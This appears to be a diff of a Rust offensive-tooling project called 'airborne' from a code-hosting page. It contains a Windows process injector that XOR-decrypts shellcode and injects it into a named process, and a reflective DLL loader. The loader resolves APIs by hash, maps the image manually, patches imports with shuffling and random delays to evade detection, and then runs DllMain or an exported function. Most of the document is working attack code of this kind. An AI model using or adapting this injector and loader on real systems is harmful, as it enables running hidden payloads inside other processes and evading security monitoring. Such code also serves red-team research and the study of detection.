|
||||
fn main() {
|
||||
let args = parse_args();
|
||||
let proc_id = unsafe {
|
||||
match process::iterate_procs(&args.procname) {
|
||||
Ok(Some(pid)) => pid,
|
||||
Ok(None) => {
|
||||
println!("[!] process with name {} not found", args.procname);
|
||||
exit(1);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] error during process iteration: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
};
|
||||
let proc_id =
|
||||
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
|
||||
|
||||
let mut shellcode = match fs::read(&args.shellcode_path) {
|
||||
Ok(shellcode) => shellcode,
|
||||
Err(e) => {
|
||||
println!("[!] failed to read shellcode: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
let keyfile = match fs::read(&args.keyfile_path) {
|
||||
Ok(keyfile) => keyfile,
|
||||
Err(e) => {
|
||||
println!("[!] failed to read xor keyfile: {}", e);
|
||||
exit(1);
|
||||
}
|
||||
};
|
||||
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
|
||||
|
||||
if args.offset >= shellcode.len() {
|
||||
println!("[!] offset is greater or equal than shellcode length");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
|
||||
println!("[+] xor'ing shellcode");
|
||||
airborne_common::xor_cipher(&mut shellcode, &keyfile);
|
||||
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
|
||||
|
||||
println!("[+] injecting shellcode into {}", args.procname);
|
||||
unsafe {
|
||||
match inject::inject(proc_id, shellcode) {
|
||||
Ok(_) => println!("[+] done"),
|
||||
Err(e) => println!("[!] failure during injection: {}", e),
|
||||
}
|
||||
};
|
||||
unsafe { inject::inject(proc_id, shellcode) };
|
||||
|
||||
println!("[+] done");
|
||||
}
|
||||
|
||||
fn parse_args() -> Args {
|
||||
@ -112,5 +85,5 @@ fn parse_args() -> Args {
|
||||
}
|
||||
|
||||
fn print_usage() {
|
||||
println!("Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>");
|
||||
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
|
||||
}
|
||||
|
@ -1,4 +1,4 @@
|
||||
use std::{error::Error, ffi::CStr};
|
||||
use std::ffi::CStr;
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
@ -7,31 +7,31 @@ use windows_sys::Win32::{
|
||||
},
|
||||
};
|
||||
|
||||
fn snapshot() -> Result<isize, Box<dyn Error>> {
|
||||
fn snapshot() -> isize {
|
||||
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
|
||||
|
||||
if snapshot == INVALID_HANDLE_VALUE {
|
||||
return Err("failed to create toolhelp snapshot".into());
|
||||
panic!("failed to create snapshot");
|
||||
}
|
||||
|
||||
Ok(snapshot)
|
||||
snapshot
|
||||
}
|
||||
|
||||
unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> {
|
||||
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
|
||||
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
|
||||
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
|
||||
|
||||
if Process32First(snapshot, &mut pe) == 0 {
|
||||
CloseHandle(snapshot);
|
||||
return Err("failed to get first process entry".into());
|
||||
panic!("failed to get first process entry");
|
||||
}
|
||||
|
||||
Ok(pe)
|
||||
pe
|
||||
}
|
||||
|
||||
pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> {
|
||||
let snapshot = snapshot()?;
|
||||
let mut pe = first_proc_entry(snapshot)?;
|
||||
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
|
||||
let snapshot = snapshot();
|
||||
let mut pe = first_proc_entry(snapshot);
|
||||
|
||||
loop {
|
||||
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
|
||||
@ -43,15 +43,14 @@ pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Er
|
||||
println!("[+] {}: {}", pid, proc_name);
|
||||
CloseHandle(snapshot);
|
||||
|
||||
return Ok(Some(pid));
|
||||
}
|
||||
|
||||
if Process32Next(snapshot, &mut pe) == 0 {
|
||||
return Some(pid);
|
||||
} else if Process32Next(snapshot, &mut pe) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] process with name {} not found", target_name);
|
||||
CloseHandle(snapshot);
|
||||
|
||||
Ok(None)
|
||||
None
|
||||
}
|
||||
|
@ -1,5 +1,5 @@
|
||||
[package]
|
||||
name = "poc-payload"
|
||||
name = "airborne-payload"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
|
@ -1,5 +1,5 @@
|
||||
[package]
|
||||
name = "reflective-loader"
|
||||
name = "airborne-reflective_loader"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
@ -7,7 +7,7 @@ edition = "2021"
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[dependencies]
|
||||
airborne-common = { path = "../common" }
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
|
@ -10,7 +10,6 @@ use core::{
|
||||
slice::from_raw_parts,
|
||||
};
|
||||
|
||||
use airborne_common::Flags;
|
||||
use windows_sys::{
|
||||
core::PWSTR,
|
||||
Win32::{
|
||||
@ -42,6 +41,10 @@ use windows_sys::{
|
||||
|
||||
use crate::memory::*;
|
||||
|
||||
// TODO: replace with parameters from the shellcode generator
|
||||
const SHUFFLE_IMPORTS: bool = true;
|
||||
const DELAY_IMPORTS: bool = true;
|
||||
|
||||
const MAX_IMPORT_DELAY_MS: u64 = 2000;
|
||||
|
||||
#[cfg(not(test))]
|
||||
@ -50,15 +53,36 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
|
||||
// TODO: add to blog references
|
||||
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
|
||||
|
||||
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
|
||||
|
||||
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
|
||||
|
||||
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
|
||||
|
||||
#[export_name = "_fltused"]
|
||||
static _FLTUSED: i32 = 0;
|
||||
|
||||
#[no_mangle]
|
||||
#[allow(non_snake_case, clippy::missing_safety_doc)]
|
||||
pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
|
||||
#[allow(non_snake_case)]
|
||||
pub unsafe extern "system" fn _DllMainCRTStartup(
|
||||
_module: HMODULE,
|
||||
_call_reason: u32,
|
||||
_reserved: *mut c_void,
|
||||
) -> BOOL {
|
||||
1
|
||||
}
|
||||
|
||||
//#[no_mangle]
|
||||
//#[allow(non_snake_case)]
|
||||
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
|
||||
// 1
|
||||
//}
|
||||
|
||||
#[link_section = ".text"]
|
||||
#[no_mangle]
|
||||
#[allow(clippy::missing_safety_doc)]
|
||||
pub unsafe extern "system" fn loader(
|
||||
payload_dll: *mut c_void,
|
||||
function_hash: u32,
|
||||
@ -67,8 +91,6 @@ pub unsafe extern "system" fn loader(
|
||||
_shellcode_bin: *mut c_void,
|
||||
flags: u32,
|
||||
) {
|
||||
let flags = airborne_common::parse_u32_flag(flags);
|
||||
|
||||
/*
|
||||
1.) locate the required functions and modules from exports with their hashed names
|
||||
*/
|
||||
@ -99,8 +121,11 @@ pub unsafe extern "system" fn loader(
|
||||
as *mut IMAGE_NT_HEADERS64;
|
||||
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
|
||||
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
|
||||
let base_addr_ptr =
|
||||
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
|
||||
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
|
||||
|
||||
@ -138,7 +163,7 @@ pub unsafe extern "system" fn loader(
|
||||
return;
|
||||
}
|
||||
|
||||
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags);
|
||||
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
|
||||
|
||||
/*
|
||||
5.) finalize the sections by setting protective permissions after mapping the image
|
||||
@ -150,7 +175,15 @@ pub unsafe extern "system" fn loader(
|
||||
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||
*/
|
||||
|
||||
if flags.ufn {
|
||||
if flags == 0 {
|
||||
let dll_main_addr = base_addr_ptr as usize
|
||||
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let DllMain = transmute::<_, DllMain>(dll_main_addr);
|
||||
|
||||
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
|
||||
} else {
|
||||
// UserFunction address = base address + RVA of user function
|
||||
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
|
||||
|
||||
@ -159,14 +192,6 @@ pub unsafe extern "system" fn loader(
|
||||
|
||||
// execution with user data passed into the shellcode by the generator
|
||||
UserFunction(user_data, user_data_len);
|
||||
} else {
|
||||
let dll_main_addr = base_addr_ptr as usize
|
||||
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
let DllMain = transmute::<_, DllMain>(dll_main_addr);
|
||||
|
||||
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
|
||||
}
|
||||
}
|
||||
|
||||
@ -238,7 +263,7 @@ unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
|
||||
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
|
||||
|
||||
// calculate the module hash and compare it
|
||||
if module_hash == airborne_common::calc_hash(name_slice_buf) {
|
||||
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
|
||||
return Some((*table_entry_ptr).DllBase as _);
|
||||
}
|
||||
|
||||
@ -293,7 +318,7 @@ unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Optio
|
||||
let name_len = get_cstr_len(name_ptr as _);
|
||||
let name_slice = from_raw_parts(name_ptr as _, name_len);
|
||||
|
||||
if function_hash == airborne_common::calc_hash(name_slice) {
|
||||
if function_hash == airborne_utils::calc_hash(name_slice) {
|
||||
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
|
||||
}
|
||||
}
|
||||
@ -306,7 +331,7 @@ unsafe fn allocate_rw_memory(
|
||||
preferred_base_ptr: *mut c_void,
|
||||
alloc_size: usize,
|
||||
far_procs: &FarProcs,
|
||||
) -> Option<*mut c_void> {
|
||||
) -> *mut c_void {
|
||||
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
|
||||
preferred_base_ptr,
|
||||
alloc_size,
|
||||
@ -324,11 +349,7 @@ unsafe fn allocate_rw_memory(
|
||||
);
|
||||
}
|
||||
|
||||
if base_addr_ptr.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
Some(base_addr_ptr)
|
||||
base_addr_ptr
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
@ -417,8 +438,7 @@ unsafe fn patch_iat(
|
||||
base_addr_ptr: *mut c_void,
|
||||
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
|
||||
far_procs: &FarProcs,
|
||||
flags: &Flags,
|
||||
) -> BOOL {
|
||||
) {
|
||||
/*
|
||||
1.) shuffle Import Directory Table entries (image import descriptors)
|
||||
2.) delay the relocation of each import a random duration
|
||||
@ -436,13 +456,10 @@ unsafe fn patch_iat(
|
||||
|
||||
let id_ptr = import_descriptor_ptr;
|
||||
|
||||
if import_count > 1 && flags.shuffle {
|
||||
if import_count > 1 && SHUFFLE_IMPORTS {
|
||||
// Fisher-Yates shuffle
|
||||
for i in 0..import_count - 1 {
|
||||
let rn = match get_random(far_procs) {
|
||||
Some(rn) => rn,
|
||||
None => return 0,
|
||||
};
|
||||
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
|
||||
|
||||
let gap = import_count - i;
|
||||
let j_u64 = i + (rn % gap);
|
||||
@ -456,18 +473,17 @@ unsafe fn patch_iat(
|
||||
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
||||
|
||||
if module_name_ptr.is_null() {
|
||||
return 0;
|
||||
return;
|
||||
}
|
||||
|
||||
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
|
||||
|
||||
if module_handle == 0 {
|
||||
return 0;
|
||||
return;
|
||||
}
|
||||
|
||||
if flags.delay {
|
||||
// skip delay if winapi call fails
|
||||
let rn = get_random(far_procs).unwrap_or(0);
|
||||
if DELAY_IMPORTS {
|
||||
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
|
||||
let delay = rn % MAX_IMPORT_DELAY_MS;
|
||||
(far_procs.Sleep)(delay as _);
|
||||
}
|
||||
@ -501,10 +517,7 @@ unsafe fn patch_iat(
|
||||
// mask out the high bits to get the ordinal value and patch the address of the function
|
||||
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
|
||||
(*thunk_ptr).u1.Function =
|
||||
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
|
||||
Some(fn_addr) => fn_addr as usize as _,
|
||||
None => return 0,
|
||||
};
|
||||
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
|
||||
} else {
|
||||
// get the function name from the thunk and patch the address of the function
|
||||
let thunk_data_ptr = (base_addr_ptr as usize
|
||||
@ -512,10 +525,7 @@ unsafe fn patch_iat(
|
||||
as *mut IMAGE_IMPORT_BY_NAME;
|
||||
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
|
||||
(*thunk_ptr).u1.Function =
|
||||
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
|
||||
Some(fn_addr) => fn_addr as usize as _,
|
||||
None => return 0,
|
||||
};
|
||||
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
|
||||
}
|
||||
|
||||
thunk_ptr = thunk_ptr.add(1);
|
||||
@ -525,8 +535,6 @@ unsafe fn patch_iat(
|
||||
import_descriptor_ptr =
|
||||
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
|
||||
}
|
||||
|
||||
1
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
@ -601,7 +609,7 @@ unsafe fn finalize_relocations(
|
||||
}
|
||||
|
||||
#[link_section = ".text"]
|
||||
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
|
||||
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
|
||||
let mut buffer = [0u8; 8];
|
||||
let status = (far_procs.BCryptGenRandom)(
|
||||
BCRYPT_RNG_ALG_HANDLE,
|
||||
|
@ -1,5 +1,5 @@
|
||||
[package]
|
||||
name = "airborne-common"
|
||||
name = "airborne-utils"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
@ -2,44 +2,8 @@
|
||||
|
||||
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
|
||||
|
||||
const DELAY_FLAG: u32 = 0b0001;
|
||||
const SHUFFLE_FLAG: u32 = 0b0010;
|
||||
const UFN_FLAG: u32 = 0b0100;
|
||||
|
||||
const HASH_KEY: usize = 5381;
|
||||
|
||||
pub struct Flags {
|
||||
pub delay: bool,
|
||||
pub shuffle: bool,
|
||||
pub ufn: bool,
|
||||
}
|
||||
|
||||
pub fn parse_u32_flag(flag: u32) -> Flags {
|
||||
Flags {
|
||||
delay: flag & DELAY_FLAG != 0,
|
||||
shuffle: flag & SHUFFLE_FLAG != 0,
|
||||
ufn: flag & UFN_FLAG != 0,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
|
||||
let mut flags = 0;
|
||||
|
||||
if delay {
|
||||
flags |= DELAY_FLAG;
|
||||
}
|
||||
|
||||
if shuffle {
|
||||
flags |= SHUFFLE_FLAG;
|
||||
}
|
||||
|
||||
if ufn {
|
||||
flags |= UFN_FLAG;
|
||||
}
|
||||
|
||||
flags
|
||||
}
|
||||
|
||||
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
|
||||
for (i, byte) in data.iter_mut().enumerate() {
|
||||
*byte ^= key[i % key.len()];
|
Loading…
Reference in New Issue
Block a user